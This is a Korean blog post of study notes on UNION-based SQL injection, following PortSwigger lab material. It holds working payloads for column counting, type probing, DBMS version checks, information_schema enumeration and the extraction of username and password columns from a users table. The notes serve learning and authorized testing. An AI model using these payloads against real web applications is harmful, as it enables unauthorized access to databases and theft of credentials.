7주차/SQL Injection Advanced 개념

gkdudans·2023년 11월 25일

EVI$ION/웹

목록 보기
10/11

[PortSwigger] UNION attacks

UNION attacks

  • 2개 이상의 쿼리를 요청하여 결과를 얻음
     ex) `SELECT a, b FROM table1 UNION SELECT c, d FROM table2` 
     
     table1에서 a, b를 선택하고 table2에서 c,d를 선택한 다음 a, b, c, d를 반환
     
    • 전제 조건: 컬럼의 갯수가 같아야 함, 데이터 유형이 같아야 함

필요한 열 수 결정

  • ORDER BY
     <aside>
     💡 [ORDER BY]
     ORDER BY 절을 삽입하고, 열 인덱스를 1씩 증가시켜가면서 오류가 발생할 때까지 시도한다. 에러가 발생하면 그 전의 값이 칼럼의 개수가 된다.
     ex)
     ' ORDER BY 1--
     ' ORDER BY 2--
     ' ORDER BY 3--
     etc.
     
     </aside>
     
    • UNION SELECT 💡 [UNION SELECT] UNION SELECT절을 삽입하고, 각각의 절에 다른 수의 NULL값을 지정한다. NULL 값의 수가 열 수와 일치하지 않을 때 오류를 반환한다. ex) ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc.

데이터베이스별 구문 - 아래 cheat sheet 참고

SQL injection cheat sheet | Web Security Academy

유용한 데이터 유형이 있는 열 찾기

  • 일반적으로 문자열 데이터

    • 각 열을 조사하여 문자열 데이터를 보유하고 있는지 테스트한다. ex) 쿼리가 4개의 열을 반환하는 경우: 오류가 발생하지 않는 페이로드를 찾는다.
      ' UNION SELECT 'a',NULL,NULL,NULL--
      ' UNION SELECT NULL,'a',NULL,NULL--
      ' UNION SELECT NULL,NULL,'a',NULL--
      ' UNION SELECT NULL,NULL,NULL,'a'--

    **UNION 공격을 사용하여 데이터 검색**

    ex)

    • 전제 조건: 두 개의 열 반환, 둘 다 문자열 데이터 보유할 수 있음
    • 데이터베이스에는 username, password columns를 포함하는 users table이 존재
    • 정답: ' UNION SELECT username, password FROM users—

    단일 열 내에서 여러 값 검색

    ex) ' UNION SELECT username || '~' || password FROM users


[PortSwigger] Examing the database

Examing the database

  • SQL Injection 취약점을 이용하려면 데이터베이스에 대한 정보를 찾아야 함
    • 필요한 정보: 데이터베이스의 유형 및 버전, 데이터베이스에 포함된 테이블과 열

데이터베이스 유형, 버전 쿼리

ex) ' UNION SELECT @@version—
| Database type | Query |
| --- | --- |
| Microsoft, MySQL | SELECT @@version |
| Oracle | SELECT * FROM v$version |
| PostgreSQL | SELECT version() |

데이터베이스의 contents 나열
ex) information_schema.tables 데이터베이스의 테이블

  • 쿼리: SELECT * FROM information_schema.tables
    • 반환:
      TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
      =====================================================
      MyDatabase     dbo           Products    BASE TABLE
      MyDatabase     dbo           Users       BASE TABLE
      MyDatabase     dbo           Feedback    BASE TABLE
    • 결과 분석: Products, Users, Feedback이라는 세 개의 테이블이 존재함
    • 다음 쿼리: SELECT * FROM information_schema.columns WHERE table_name = 'Users’
    • 반환:
      TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
      =================================================================
      MyDatabase     dbo           Users       UserId       int
      MyDatabase     dbo           Users       Username     varchar
      MyDatabase     dbo           Users       Password     varchar
profile
https://github.com/gkdudans

0개의 댓글